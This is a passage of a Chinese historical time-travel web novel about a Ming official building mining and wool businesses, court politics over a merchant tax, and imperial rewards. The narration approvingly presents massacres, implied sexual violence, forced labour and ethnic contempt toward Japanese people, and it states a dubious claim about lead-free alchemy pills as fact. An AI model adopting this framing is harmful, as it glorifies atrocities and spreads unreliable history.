这让一些世子心中有所不甘,却又没有任何办法,这种不甘倒不是因为少赚钱的原因,而是身为世子,从小到大基本都是顺风顺水,从来都是别人顺着他们,今天却被周楚牵着鼻子走,这让他们心里有些接受不了,却又没办法拒绝。 “我知道,给工人这么高的工钱,诸位之中有些人可能难以接受,但诸位想过没有,只有给工人足够多的工钱,足够好的伙食,工人才会死心塌地的给我们干,别的不说,但凡工人多用心一些,煤矿之中少一点事故,少一些塌方,挽回的损失就远超过给工人的工钱。” 楚璃看着这些世子的神情,大致知道他们的想法,她这么说倒也不是真的要解释什么,而是给这些世子们一个台阶下罢了。 楚璃当然可以无视这些人的不忿,可以强制让他们同意,但作为合作者,楚璃很清楚大家最好能一条心,否则日后要是有人因为心里不舒服暗中使绊子,可能会造成很大的损失。 甚至有可能对周楚造成不好的影响。 这不是楚璃想看到的,她要把这种风险降到最低。 果然,听到这话,那些原本脸色还有些难看的世子们,脸色变好了不少,对他们而言,面子大于一切,楚璃的解释,对他们而言就是照顾他们的面子。 于他们而言,他们的身份是各地藩王的世子郡主,单论身份的高贵,周楚还有所不如,倘若周楚强势压着他们,他们肯定会很难受,楚璃的这句解释恰到好处,给了他们台阶。 合伙做生意不是置气,置气在一起做不了生意,只会出事,有问题解决问题,所以周楚才会让楚璃主持这次集议,因为周楚很清楚,楚璃能把这些问题处理的很好。 倘若周楚来主持,面对这些世子郡主,周楚肯定不会给太多面子,周楚的行事风格一向如此,这些世子还不至于让周楚开口解释。 这就是很多大人物手下副手或者秘书的最大的作用,替领导和其他人之间转圜斡旋。 “倘若有工人因为矿难死亡或者残疾,我们应该第一时间给与他的家人足够的补助,这个补助暂定为五年的工钱,这些是做给其他的那些工人看的,只有这样,工人们才能无后顾之忧的给我们干活。” 楚璃继续说道。 有了前面的铺垫,这次没人再自讨没趣,反正煤矿这种生意是极其暴力的,多给工人点倒也没什么,大家都没意见,其中一两个有意见的也就不好意思提了。 更何况楚璃说的确实是有道理的,换个角度想一下,倒也不是不能接受。 当然,也只有楚璃,或者说楚璃背后的周楚才能让这些世子们换个角度思考,要是其他人,他们又是另一种态度了。 ....... 东瀛,王直和林廌率领大军不断地向东扩张,原本那些挖矿的东瀛人被监工的大明士兵打死了不少,因为这些东瀛人总想着往外跑。 不过死了一批,王直和林廌很快又补上了更多的东瀛人继续挖矿。 王直还发现一个特别奇怪的现象,原本在王直想来,自己将那些东瀛女人卖到大明,这些女人应该对自己恨之入骨,但他发现完全不是这么回事。 甚至很多王直没有征服地区的东瀛女人,听说大明的军队会把她们送到大明,很多都偷偷跑到王直占领的区域,主动要求被卖到大明。 这一点王直和林廌无论如何都理解不了,难道这些东瀛的女人过的很惨吗? 每次征服一个新的区域,王直和林廌都会让手下的士兵放纵两日,这两日可以屠城,也可以做其他的事,这对远征在外的大明士兵士气上是极大的鼓舞,对每一个领兵的将领而言,屠城从来都是最振奋军心的。 当然,这也是周楚允许的,对于东瀛人,周楚从来没有仁慈的念头。 不过也仅仅是两三日,一旦时间到了,未能及时归营的士兵直接军法处置。 该放纵的放纵,该严格的要十分严格,否则军纪一旦废弛,整个军心就会变得无比涣散。 每次城破,林廌也会放飞自我一两天,不过林廌的爱好和其他人不同,他更喜欢进入原本大名的府邸之中,毕竟有身份的东瀛女人和没身份的可不一样。 不过王直和林廌率领的军队始终是有限的,即便是扩张,目前也仅限于本州岛,按照周楚给两人制定的战略计划,先把本州岛完全掌控在手中,进行深耕,再图谋其他的。 与此同时,大明的一些海商,为了追求更高的利益,按照朝廷给出的海图,开始往更西方的区域进发了,同时跟着他们一起的,还有大明的海军。 无论是这些商人还是朝廷都很清楚,西方的那些红毛鬼,可不是好说话的,一定要把他们打服了,他们才会和你好好做生意。 张家村之中,楚璃和一众世子郡主终于将煤矿的所有细节都敲定了,说是商议,其实就是楚璃在说,其他人在听,更确切地说,是周楚通过楚璃告知这些世子和郡主们这些细则,不过很多话由楚璃说出来,更容易让人接受罢了。 眼看着敲定了所有的细节,周楚很是满意,这个过程比自己预想的要顺利很多,原本周楚以为总会有一些世子或者郡主不会同意的,现在这么顺利,一方面是因为楚璃说话的艺术,另外一方面则是因为周楚处于绝对强势的一方。 “既然煤矿的问题谈妥了,本官想和诸位谈第二个生意。” 楚璃和众人谈妥之后,周楚来到了众人面前,说道。ωww.xSZWω㈧.NēΤ 朱显榕等人听到这话,眼睛顿时亮了。 果然,这位周大人所谋甚大,绝不是区区一个煤矿这么简单。 煤矿的生意很赚钱,即便是四五十家一起分,每一家每年恐怕也能分到二十万两左右。 二十万两对一个藩王府而言,也是很大的一笔钱了,要知道很多藩王府都是很穷的,如果没有额外的收入来源的话,二十万两足够支撑藩王府一年的所有开支了,甚至还能有所剩余。 但以朱显榕对周楚的了解,这位锦衣卫指挥使做事从不会这么简单,他一直在想周楚是否还有其他的谋划,实际上不只是他,其他人有这种想法的也不在少数。 “这两日,本官接到大同守将林稚心的信,他已经把大同之外方圆两百里的草原全都攻打了下来,以后被他打下来的草原只会越来越多。” 周楚看着众人说道。 听到这话,众人反应不一,对周楚了解的朱显榕和朱思莹感到无比震撼,他们很清楚林鹿和周楚的关系,林鹿自从去年跟随周楚去苏州府之后,很快就被封了侯,可谓是一路崛起。 前不久更是成为了大同守将。 就连朱思莹都想不到,林鹿的动作这么快,这么短的时间居然为大明打下了这么大的疆域。 朱显榕则想的更多,他很清楚林鹿的身份,是德清公主的长子,之前虽然也一直镇守边疆,却没什么作为,按照原本林鹿的路子,想要封侯遥遥无期。 但这家伙自从跟了周大人之后,不止封了侯,如今更是为大明立下了如此赫赫战功,这让朱显榕无比嫉妒林鹿,这些事林鹿能做到,他也未尝不可。 一想到这里,朱显榕跟着周楚的心思愈发坚定了。 “草原于我大明而言,一直没什么利益可图,不过本官却不这么以为,草原是天然的牧场,也是马场,无论是养马,或者养羊,都是很有必要的,最重要的是,养羊可以产出大量的羊毛,羊毛可以做成各种衣物,或者其他东西,这些可都是货物,可以远销海外的货物。” 周楚看着众人,侃侃而谈道。 那些世子和郡主们,听到这话,一个个顿时来了精神,他们此时才意识到,这其中有多大的利润。 第270章 老狐狸杨一清,装糊涂的嘉靖 第270章老狐狸杨一清,装糊涂的嘉靖京城,朝堂之上。 “陛下,首辅大人的孙子成为锦衣卫千户,似乎不太合规矩,而且这个杨盛斋办事完全不按规矩来,既不是北镇抚司,又岂能胡乱抓人?” 毛纪出列道。 关于杨盛斋在江南做的事,他和夏言前两日就收到了消息,他们怎么都没想到,杨一清这个内阁首辅不止不肯帮他们,甚至他的孙子还站在了周楚那边。 这个老狐狸两头下注,这让毛纪感到了前所未有的无力,倘若杨一清这个内阁首辅也站在了皇帝和周楚那边,他们这边即便加上谢迁,也很难有所作为。 即便如此,杨盛斋做事不合规矩,毛纪等人是一定要弹劾的。 “杨盛斋?是石淙的孙子?” 嘉靖一脸疑惑道。 这件事嘉靖自然是一早就知道,周楚在刚任命杨盛斋的时候就给他来了密奏,对于周楚的所作所为,嘉靖一直都是全力支持的。 更何况嘉靖也认为江南的局势,是需要那么一个人去闹一闹,周楚已经不太适合出面了,毕竟此一时彼一时。 现在嘉靖这么说,不过是装糊涂,和稀泥罢了,杨盛斋毕竟是在为朝廷办事,虽说办事的手段似乎不那么合规矩,不过嘉靖不在乎,能达到目的就行了。 很多时候太讲究方式方法,反而处处受到掣肘,最后什么事都做不成。 “陛下,他正是犬子的小儿子,之前在余姚求学,不知怎么回事,突然成了锦衣卫千户,臣也是刚知道。” 杨一清装作一脸疑惑的模样道, 毛纪等人看到杨一清这副模样,恨不得吐他一脸口水,心想都是千年的狐狸,在这唱什么空城计呢? “石淙你也不知道?” 嘉靖也是满脸疑惑道。 “臣确实不知,这小子自小就离经叛道,完全不把他的两个哥哥和他爹放在眼里,去余姚求学也是他自己的主意,他爹拦都拦不住,也只能随他去了。” 杨一清满脸无奈道。 说这话的时候,杨一清看向了一旁的杨慎,似乎在说就像这位对他爹一样,我这位孙子也不听话。 杨慎感受到了杨一清的目光,顿感无奈,毕竟他之前如何对他爹的,满朝文武是有目共睹,现如今杨慎的脑门上就差刻着两个字了,不孝。 实际上这一年多杨慎和杨廷和常有书信往来,杨廷和致仕之后在老家过的相当不错,杨廷和再也不用在朝廷这波谲云诡的局势中操心操力了。 如今的朝廷也有钱了,皇帝和周楚看在杨慎的面子上,并没有去清算杨廷和,真算起来,反而是杨慎变相的保护了自己的爹。 但明面上,大家看到的都是杨慎背刺了自己的亲爹,这才被抬入内阁。 “陛下,严惟中在江南贸然提升商稅,简直是无法无天,如此压榨百姓,长此以往,百姓还如何活得下去?” 夏言眼看嘉靖和杨一清都在这里装糊涂,明白这次朝会想要弹劾杨盛斋是不太可能了,杨盛斋的事可以下次再议,但严嵩的事,他可不能再等了。 如今的江南,因为严嵩的这一举措,已经完全动摇了他们江南一系的根基,所谓的江南一系,是由江南的士绅阶层联合江南官员以及商人形成的一个巨大的利益网。 严嵩突然增收商业税,并且将收上来的商业税拿出来一部分奖励给官员,这一举措让江南的官员和士绅以及商人之间直接决裂了。 官员想要完成职责,又想拿到足够多的提成,那么势必要将该收的商业税一分不少的收上来,如此一来,就和江南的那些商人士绅之间有了矛盾,一旦有了矛盾,他们之间又怎么可能再无嫌隙? 更何况因为不能走私了,整个江南集团本就在分崩离析的边缘,以前这些问题没有彻底爆发,是因为大家早已是你中有我,我中有你。 但现在不同了,严嵩的这个政策,使得江南一系内部本就存在的问题彻底爆发,分崩离析。 这是毛纪和夏言最不希望看到的局面,偏偏却发生了。 因此无论是毛纪,亦或是夏言,都需要做些什么,甚至他们希望谢迁也要帮他们做些什么。 “压榨百姓?有些言过其实了吧?严大人此举无非是为我大明的财政做出巨大的变革,那些商人赚取巨大的利润,但所交的税却是极少的,只有三十税一,往年即便是这三十税一,多数还都收不上来。” 杨慎看着夏言,直接反驳道。 “那海商的税比一般商人高多了,却也有无数商人削尖了脑袋想要出海做生意,即便陆路上的生意不像海商那般利润大,但每个商人恐怕都赚取了不俗的利润,严大人只是收了一成的商稅罢了,合情合理。” 杨慎说话,给人的感觉便是有理有据,让人完全不知道该如何反驳。 “是啊陛下,严大人增收商稅,又不是为了一己之私,收的钱也不是进了严大人自己的腰包,何来压榨百姓一说?何时商人能代表所有的百姓了?夏大人此言,其心可诛!” 韩玠也站了出来,驳斥夏言道。 “严惟中增收商稅一事,不是往内阁递了折子了吗?何谈压榨一说?” 嘉靖说这话的时候,看向了杨一清和毛纪等人。 “陛下,严惟中却是递了折子,详细说了关于增收商稅,以及考成法推行的进度问题,按照他折子之中的说法,江南的官员对增收商稅的事都是支持的,不过他贸然将商稅之中的三十之一奖励给收上来的官员,此举是否有失妥当。” 杨一清出列道。 他这话很是客观公允,没有任何偏帮,即便是最后,也只是提出自己的疑问,并没有像毛纪和夏言一般攻击严嵩。 “臣以为严惟中此举才是最巧妙的,自古改革需用重典,既然想要增收商稅,就要找对方法,倘若一点好处都不给这些官员,他们又如何肯实心用事呢?” 杨慎说道。 “可如此一来,就怕矫枉过正,倘若下面的那些官员为了自己的利益,对那些商人横征暴敛,如此一来,商人很难生存下去,没了商人沟通南北,百姓的生活就会变得很难。” 杨一清说出了自己的看法。 一旁的毛纪和夏言看看这这俩人一唱一和,将自己两人对杨盛斋和严嵩的弹劾直接带的跑偏了,满脸的无奈。 嘉靖则听的一脸认真。 “石淙说的很有道理,用修说的也对,既然要增收商稅,那么方式方法很重要,既如此,让江南的锦衣卫先行监察百官,倘若任何官员有多收多占的,直接查办。” 嘉靖满脸严肃道。 第271章 朱显榕的格局,沐云萍的决定 周楚提出的羊毛生意,让朱显榕等人来了精神,朱显榕让跟着自己的管家仔细算了算,从草原大批量的弄羊毛制品到他们楚王府的封地,运输成本很高。 倘若只是将这些东西卖给他们封地之中的百姓,几乎无利可图,价格甚至快比得上丝绸了。 不过按照周楚的说法,倘若将这些货物远销海外,那就是另一回事了,所有货物远销海外的定价权在他们,原本在大明只能卖到一百文的货物,出海之后,至少能卖到四五百文。 原本海商的利润是没有这么高的,即便是之前江南集团走私,大部分货物的利润也没有这么多。 但自从开了海禁之后,所有海商都要向朝廷缴纳利润的四成作为税收,如此一来,出海的所有货物,价格都被拔高了。 按照之前周楚让严嵩做的事,严嵩将江南出海的海商都召集到了一起,对于所有出海的货物进行了一个定价,如此一来,也能防止恶意竞争,保证所有人出海的货物都能大赚特赚。 目前大明海商出海的主要目的地还是东瀛,除了本州岛之外的那些岛屿之中的东瀛土著,当然,本州岛也有,不过本州岛所有货物出售的定价权,在王直手上。 再加上王直对本州岛本土的东瀛人杀的实在是狠了些,短时间内想要靠本州岛本土的东瀛人赚钱倒也不太可能。 只能等这些东瀛人恢复一些元气之后,再将这些货物卖给他们。 这也是周楚让王直等人深耕本州岛的根本原因,倘若把东瀛人都杀光了,大明出海的货物卖给谁?大明的钱财来源可是这些东瀛人,大明可以对东瀛进行殖民和倾销,但不能全都杀了。 一旦全都杀了之后,没了这些海外的劳动力和生产力,大明百姓就要多受苦,说白了,东瀛人出的力,是替大明百姓出的。 至于石坚银矿,也只是银矿罢了,白银永远只是货币,不依托于实物的话,货币只会无限通货膨胀,没有任何实质意义。 生产力才是一切的根基。 海外殖民地之中的劳动力越多,大明百姓要做的就越少,这是守恒的。 朱显榕等人仔细核算了一下成本,倘若将这些羊毛制品出口海外的话,利润相当可观。 “殿下,有一点我想不明白。” 朱显榕的身旁的管家有些迟疑道。 “说,何必婆婆妈妈的?” 朱显榕略显不悦道。 “如果我们出海做生意的话,很多货物的利润都要比这羊毛制品高,主要是把这些东西从草原上运输到海上,需要的成本太高。” 管家说出了自己的想法。 朱显榕听到这话,陷入了沉思。 “羊毛制品远销海外是必须要做的事,只有这样,我大明才能长期占据草原,才能从草原之中攫取利润,否则没有足够的利益,偌大的草原想要长期占领,空耗人力物力,谈何容易?” 朱显榕的眼光和格局显然是要比其他的一些世子郡主高不少的,一眼就看出了周楚要和他们做这个生意的根本目的。 “我楚王府倘若不为大明开疆拓土出一份力,怎么都说不过去,更何况这羊毛生意怎么都是赚的,你想过没有,其他货物大家都能出海销售,到了海外也是有竞争的,同一样货物过多的话,恐怕会滞销,羊毛制品就不同了,起码除了我们这些人之外,其他商人恐怕暂时不想做这个生意。” 朱显榕总结道。 实际上和朱显榕的管家有一样想法的不在少数,有不少人打了退堂鼓,不过他们是不会和周楚直说的,毕竟周楚也说了,草原上的羊毛生意,谁愿意做就做,不愿意做也不强求,本身也不是合伙的生意。 周楚要做的只是告知这些藩王府。 至于谁愿意为大明出一份力,将来的回报一定是极其丰厚的,别人不清楚,周楚可是很清楚的,以海瑞等人的研究速度,最多一两年,蒸汽机就能研究出来。 毕竟大的方向周楚为他们指了出来,剩下的就是对细节的琢磨了。 蒸汽机一旦出现之后,最多五年,火车就会出现,铁轨一旦铺设到草原上,运输成本就会大大降低,到了那个时候,羊毛制品的利润将会得到大幅度提升。 不过到了那个时候,这些世子想要反悔可就来不及了,毕竟到了那个时候,市场早已成熟,其他人想要在进入这片市场,谈何容易? “周大人,我想留下来,跟在您身边学习。” 眼看着其他世子郡主陆陆续续地离开了,只剩下少数一些舍不得走,其中就包括朱思莹、沐云萍和朱显榕。 朱思莹的心思大家都很清楚,也都懒得戳破,无论是朱显榕还是沐云萍都很清楚,朱思莹和周大人之间根本就不可能,周大人眼里根本就没有这位代王府的郡主。 不过他们也都清楚,他们作为世子郡主,相对于普通家庭的子女,是有一些特权的,年轻的时候折腾折腾,倒也无妨,只要不乱来,问题都不大。 实际上不只是朱思莹留了下来,还有两三位其他王府的郡主也留了下来,打的主意和朱思莹差不了多少。 至于沐云萍,则是对周楚和云瑾的领兵能力十分崇拜,这些天在张家村之中,她对周楚也做了充分的了解,这才清楚,这位锦衣卫指挥使周大人去年一年的丰功伟绩。 周楚凭一己之力,仅仅用了一年不到的时间,就把东南沿海的倭患彻底荡平,当沐云萍知道周楚剿倭那令人胆颤的战损比的时候,整个人都麻了,此时她才明白,陆将军为何会在周大人面前如此的小家碧玉。 怪不得陆将军说自己的领兵的本事都是周大人教的,此时沐云萍对于云瑾的话,再无怀疑。 沐王府在云南丽江,镇守云南,云南的那些土司之中不乏女人领兵的,受到云南的风气影响,沐王府之中也偶尔会有女人领兵的情况出现。 沐云萍正是沐王府当代之中最能打的一个,不过这也只是和沐王府的其他人相比罢了,和云瑾一比,沐云萍原本的骄傲早就消失无踪了。 所以之前她对云瑾无比崇拜,她想成为像云瑾这样的女将军。 这个想法一旦产生,就一直在生根发芽,直到这次来到这里,见到了周楚,知道了周楚的用兵能力,沐云萍无论如何都不想错过这次机会。 “周大人,我也想跟您学习兵法。” 沐云萍满脸恭敬道。 第272章 周楚回京,云瑾请罚,嘉靖的赏赐 时间过得很快,转眼之间,陆炜大婚的日子就要到了,周楚和云瑾两人悄悄回到了京城之中。 云瑾回京的第一件事,就是入宫请罪,无论怎么说,私自调集玄武军前往苏州以及绍兴附近,都是重罪。 “你呀你,让朕怎么说你?” 嘉靖指着云瑾,看着云瑾这副认打认罚的模样,顿时气不打一处来。 “臣私自调兵,此乃重罪,愿辞去玄武军统帅之职,任陛下处罚。”尛說Φ紋網 云瑾神情恭敬道。 云瑾越是这么说,嘉靖越是生气。 “怎么?你真觉得朕就是这般小气之人?” 嘉靖看着云瑾,生气道。 “陛下不止不小气,反而是难得的宽仁之君,二哥做的那些事,换做其他任何皇帝,都未必容得下,陛下却可以,所以无论二哥亦或是臣,都诚惶诚恐,如履薄冰,生怕做错了事,但臣还是因为私人情感做错了事,做错了就要认罚,这是军中的规矩。” 云瑾态度诚恳道。 “更何况臣已经一年多的时间没怎么在京城待过了,如今海军已然稳定,无论是玄武军还是其他海军,都不需要臣来指挥了,臣也想休息休息。” 云瑾的话,让嘉靖一愣。 他看着眼前的云瑾,这才反应过来,云瑾毕竟是个女孩子,在别的女孩子都还在后宅享福的时候,她却已经在外领兵了,这一年多的时间,嘉靖只看到了玄武军在海上大杀四方,帮助大明建立了海军体系。 却忽略了云瑾一个女孩子要在海上风吹日晒,无论面对什么样的局面,都只能自己一个人面对,甚至连个商量的人都没有。 一想到这里,嘉靖看着眼前的云瑾,顿时有些心疼,毕竟杨氏是他的乳娘,算起来云瑾也算是他的半个妹妹。 “既然如此,你就好好休沐一段时间,至于什么辞去玄武军统帅的话,不必再说,玄武军先跟着衡器,保护衡器的安危吧。” 嘉靖想了想,说道。 “不过暂时也不能赏你了,玄武军毕竟还没有公开。” 嘉靖叹了口气道。 “陛下不罚,已经是对臣最大的赏赐了。” 云瑾笑道。 如今的结果是最好的结果,云瑾犯了个错,将自己之前立下的功劳全都抵消了,嘉靖也不用忧愁该如何封赏云瑾了,甚至不用考虑该不该给云瑾封侯。 毕竟女子封侯,整个大明都闻所未闻,如果云瑾一直不犯错的话,嘉靖也很为难。 更何况周楚封了侯,陆炳封了侯,如果云瑾再封侯的话,整个陆家以及周楚的权势将达到一个巅峰。 权力越接近巅峰的人,往往越危险,这个道理周楚明白,云瑾也明白,甚至连陆炳都清楚。 “对了,文心不是这几日就要大婚了吗?朕不能赏你,就趁着文心大婚,多赏些东西给他吧。” 嘉靖叹了口气道。 “只是如此一来,倒是委屈你了。” 云瑾听到这话,满脸笑容。 “怎么会委屈呢?臣自小的梦想就是领兵打仗,如今想做的事情做了,还能帮到陛下和二哥,大哥也因此封了侯,我陆家已经占了很大的便宜了,陛下知道的,对这些虚名,臣从不看重。” 云瑾离开皇宫回到陆家没多久,黄锦就带着一群太监,抬着一箱箱金银珠宝来到了陆家。 黄锦宣读完圣旨之后,将圣旨递到了陆炜手中。 一旁的陆松急忙取出一锭银子,递到了黄锦手上。 “陆大人太客气了,咱家小的时候可是在你们两位眼巴前长大的。” 黄锦看着陆松夫妇,笑道。 黄锦作为嘉靖的大伴,自然是跟随嘉靖一起长大的,杨氏又是嘉靖的乳娘,黄锦说自己是在陆松夫妇眼前长大的,倒也没什么毛病。 “都是过去的事了,提那些干啥,如今公公可是陛下眼前的红人。” 杨氏笑道。 杨氏虽然是个妇道人家,但政治智慧却是非同一般。 如今的黄锦,是皇帝身边的红人,虽然还没有掌管整个司礼监,但论真正的地位,即便是现在的司礼监掌印,在黄锦面前也得客客气气的。 黄锦在宫中,在嘉靖面前是和嘉靖一起长大的小太监,是嘉靖的大伴,出了皇宫,代表的可就是嘉靖,是皇帝,身份自然非同一般。 黄锦可以忆往昔,可以说自己是在陆松夫妇眼前长大的,这是一种自降身份的说法。 但杨氏却是不能接着这个话茬往下说的,否则就有倚老卖老的嫌疑,还有以过去的身份来压如今的黄锦的嫌疑。 正所谓花花轿子众人抬,黄锦以自己的身份说这话,就是在抬高陆松夫妇的身份,也是在恭维他俩,杨氏自然不会接这个话茬,而是反过来不着痕迹的恭维了黄锦一句。 黄锦听到这话,很是受用,他本就不是个喜欢争权夺利的性子,否则他如果想的话,只需要跟嘉靖开口,那司礼监掌印太监的位子就是他的了。 对于一般人那些恭维的话,黄锦从来不放在心上,他很清楚,那些人说的话,特别是宫中的那些太监说的话,全都是鬼话,自己要是信了,那才有鬼了。 但杨氏不同,黄锦真就是自小在杨氏面前长大的,面对杨氏的夸赞,黄锦有种自己出息了之后被家长夸赞的感觉,如沐春风。 “陛下说了,朝廷有一定的规制,陛下明面上能赏给陆公子的也就那么多,不过陛下让咱家在库房之中多取了很多东西,回头您二位可要好好清点一下,莫要辜负了陛下的心意。” 黄锦笑道。 “有劳陛下挂怀了,自陛下登基以来,对我陆家恩深似海,下官实在是惶恐。” 陆松说道。 “陆大人不必惶恐,有文孚在,有陆将军在,陆家的好日子还在后头呢。” 黄锦说这话,是真没把陆松当成外人,准确的说,黄锦从未把陆炳当成外人。 相较于和陆松夫妇的关系,黄锦和陆炳之间的关系可要好得多,毕竟这么多年,陆炳和他都是一直陪在嘉靖身边的,三人都算得上是发小了。 几人说话间,周楚走了过来。 “黄公公,好久不见啊。” 周楚笑道。 黄锦看到周楚,眼睛顿时亮了。 “周大人,能再见到您真是太好了,您是不知道,当初知道您被刺杀的时候,陛下担心坏了,整日为大人沐浴焚香,还让抱元守正真人为大人做了法事,咱家也担心坏了,每日都为大人祈祷。” 黄锦似乎有很多话想对周楚说。 第273章 周楚进宫见嘉靖,嘉靖的赏赐 黄锦是皇帝身边的近臣,也是嘉靖的大伴,虽说职务还没有到顶,但在这京城之中,无论是谁,即便是首辅杨一清见到黄锦都要叫一声黄公公。 黄锦能有如今的地位,除了身份原因之外,还和黄锦的处事风格有关,他一向不争不抢,无论对谁都很少摆架子。 只有面对周楚的时候,黄锦的态度是截然不同的,面对其他官员,黄锦代表的是皇帝,该有的气度该是要有的,但面对周楚的时候,黄锦好像就是当初在兴王府的那个小太监。 当初嘉靖进京登基的时候,黄锦和陆炳一路跟随嘉靖进京,内心很是忐忑,他很清楚,京城不说是龙潭虎穴,却也差不了多少了。 果然,还没进京,杨廷和等一众朝廷官员就想给嘉靖来个下马威,虽然被嘉靖化解了,但黄锦对进入京城之后该如何站稳脚跟,愈发忐忑了。 这个时候,周楚出现了,陛下什么时候和周大人有所联系的,黄锦不清楚,想来是通过文孚,毕竟周大人和陆家的关系非同一般,当初周楚刚出现的时候,黄锦也是蒙的。 不过那时候黄锦根本想不了这么多,嘉靖刚刚登基,可谓是四面楚歌,此时的周楚以雷霆之势,震慑住了杨廷和夏言等一众官员,让嘉靖彻底站稳了脚跟。 直到这个时候,黄锦才明白,陛下为何要直接将这位周大人任命为锦衣卫指挥使,要知道跟着嘉靖一起长大的,甚至救过嘉靖的命的陆炳,也才被任命为锦衣卫同知。 而且以黄锦的理解,如果不是有这位周大人顶在前面,陆文孚也不会一上来就被任命为锦衣卫同知,最多也就是个千户。 都是一起长大的,黄锦对陆炳的了解比很多人都深刻,他很清楚,陆文孚是个好人,对谁都很好,对陛下更是尽心尽力,但尽心尽力不代表能力挽狂澜。 以陆文孚如今的能力,最多就是在陛下身边保护好陛下的安危,更多的恐怕是做不了的。 后来周楚做的事,更是超出了黄锦的认知,那一桩桩一件件,不只是帮嘉靖站稳了脚跟,更是这个刚登基没多久的小皇帝彻底掌握了朝局的基本面。 正是因此,黄锦内心对周楚充满了崇敬的情绪,黄锦自家人知道自家事,自己不过是运气好,是陛下的大伴,真要论能力,太监之中比自己能力强的不知凡几,不过没有出头的机会罢了。 黄锦的所有权力说白了都是嘉靖权力的延伸,他代表的是皇帝,所以无论是谁见到他都要恭敬地叫一声黄公公。 但黄锦更清楚的是,如今的陛下能有现在的权势,能彻底掌握朝局,掌握整个大明的基本面,不说全是周楚的功劳,但最起码周楚能占七八成。 所以黄锦对周楚的态度和对其他官员的态度完全不同。 “周大人,方才陛下还念叨您呢,说您回京了都不去宫中。” 黄锦看着周楚,说道。 周楚听到这话,笑了笑,不是周楚不去,而是云瑾要先去请罪,云瑾请罪的话,自己自然不方便跟着一起去,要是自己也去了,反而有裹挟皇帝意愿的意图在其中,这是万万不行的。 如何处置云瑾,要完全交给皇帝,只有这样,嘉靖才能对云瑾从轻处置。 事实和周楚料想的一般无二,云瑾非但没有受到任何处罚,陆家反而因为云瑾获得了许多封赏。 “我正准备前往宫中见陛下呢,这不是看到黄公公了嘛,许久不见,来打个招呼。” 周楚身后跟着一个婢女,婢女手中端着一个盘子,盘子里面都是洗好的水蜜桃。 “这是我从江南特意带过来的水蜜桃,那边的桃子特别甜,这些都是今年刚下来的新桃子,黄公公尝尝。” 周楚说着拿起一个桃子,递给了黄锦。 黄锦也不推脱,接过桃子,咬了一口。 “这是阳山水蜜桃吧?确实好吃,难得的佳品。” 黄锦赞不绝口道。 黄锦吃完一颗桃子,汁水流了很多,旁边的太监急忙恭敬地递上帕子,黄锦接过帕子擦了擦。 “周大人,要不随咱家一起进宫见陛下吧,陛下这些天一直在念叨着您呢。” 黄锦看着周楚道。 “我也正有此意。” 周楚笑道。 周楚和黄锦来到皇宫之中,轻车熟路地进入了御书房之中。 “臣参见陛下。” 周楚行礼道。 周楚是和黄锦一起进的御书房,所以没人通报,直接就进来了,嘉靖正在埋头处理奏折,听到周楚的声音,抬头一看,顿时来了精神。 “衡器,朕正说你呢,都回京了,不第一时间来见朕。” 嘉靖故作不悦道。 “臣刚回京,实在是家中有许多琐事需要处理,处理完第一时间就来见陛下了。” 周楚信口胡扯道。 “身子骨恢复的如何了?” 嘉靖来到周楚面前,拍了拍周楚的肩膀,问道。 “已经恢复的差不多了,没有伤筋动骨,恢复起来倒也快。” 周楚笑道。 “那就好,对了,朕特地让人搜集了一些好玩意,给你也拿些。” 嘉靖说完这话,看向了黄锦。 黄锦顿时会意,来到旁边的书架上,小心翼翼的取下一个盒子。 黄锦这副态度,倒是让周楚有些好奇,毕竟如今嘉靖的私库之中,各种宝物可谓是层出不穷,名人字画更是数不胜数。 这样的情况下,还能被嘉靖称之为好玩意,被黄锦如此慎重对待的,会是什么东西? 黄锦把盒子拿到了嘉靖面前,嘉靖打开盒子之后,周楚看到了乳白色的块状物,这块块状物上面散发着一股奇怪的香味。 “这是龙涎香?” 周楚有些疑惑道。 “没错,衡器果然见多识广,连龙涎香都认识。” 嘉靖高兴道。 听到嘉靖的肯定,周楚顿时恍然。 龙涎香,其实是抹香鲸肠道内的一块结实,被抹香鲸排出之后形成的,龙涎香的神奇之处在于,只有被抹香鲸自然排出之后,被人在海边捡到,或者在海里找到的,才会散发着这种香味。 倘若强行把抹香鲸杀死,从它的腹中取出,味道就是腥臭的,价值就会大打折扣,效果也会完全不同。 周楚上一世看过一个说法,说的就是嘉靖特意让人搜集龙涎香,用来炼丹,没想到居然是真的。 不过想来此时的嘉靖只是单纯的喜欢龙涎香,还没开始炼丹。 实际上即使炼丹,问题也不大,那些给皇帝炼丹的道士经过历朝历代的演变,也意识到了在丹药里面加入太多重金属,会把皇帝弄死,他们也在不断地改进丹方。 实际上从宋朝开始,为皇帝炼丹的道士炼制的丹药基本就没什么重金属了,炼出来的丹药可以说是纯补药。 这一点从原本历史上的嘉靖身边给他试药的臣子就能看的出来,严嵩徐阶都在吃这些丹药,一个比一个活得久,那些为嘉靖试药的道士,年龄最低的也活到了八十多岁。尐説φ呅蛧 嘉靖更是整个明朝之中少有的长寿皇帝,要知道嘉靖年幼之时可是体弱多病的。 “这龙涎香可是好东西啊,这一块你拿去,让人研磨成粉,像沉香那般点燃即可。” 嘉靖说着就把装着龙涎香的盒子放在了周楚手上。 第274章 初六、金有财、孙强,谢迁求见 周楚从皇宫出来回到家之后,叫来了初六。 如今的初六早已不是当初的黄毛小子,不得不说,钱还是很养人的,这半年的时间,初六大部分时间都在醉仙楼,偶尔去京城的各大赌场玩一玩。 初六有一手登峰造极的千术,从来不需要为钱财发愁,老千唯一需要担心的就是被人抓住把柄,按照蓝门的规矩,一旦被人看破出千,轻则要自断手指,重则断一只手。 其次需要担心的就是得罪不该得罪的人,就像初六的那个死鬼爹,就是因为太过自信,得罪了达官显贵,未能及时抽身,直接被弄死了。 不过对初六而言,第二点完全不需要担忧,现在的初六背靠锦衣卫和锦衣卫指挥使周楚,没什么人是他不能得罪的。 初六唯一需要担心的就是出千被人抓包,一旦被抓,就要执行蓝门规矩,这一点,只要是吃蓝门这碗饭的都要遵守。 “长高了不少,可有心仪的姑娘?有的话我让人去给你提亲。” 周楚看着初六,笑道。 初六听到这话,一直以来都板着的死人脸罕见的露出了害羞的表情。 “看这样子,是有喜欢的姑娘了?” 周楚眼看初六这副模样,忍不住调侃道。 “确实有一个喜欢的姑娘。” 初六挠了挠头,在周楚面前,他一向是有问必答的,从不说谎。 “对方是什么人?” 周楚追问道。 “是教坊司的清倌人,她家人刚获罪没多久,好像是因为得罪了毛纪毛大人。” 初六说道。 “清倌人,教坊司。” 周楚一边念叨着这几个字,一边喝着茶水。 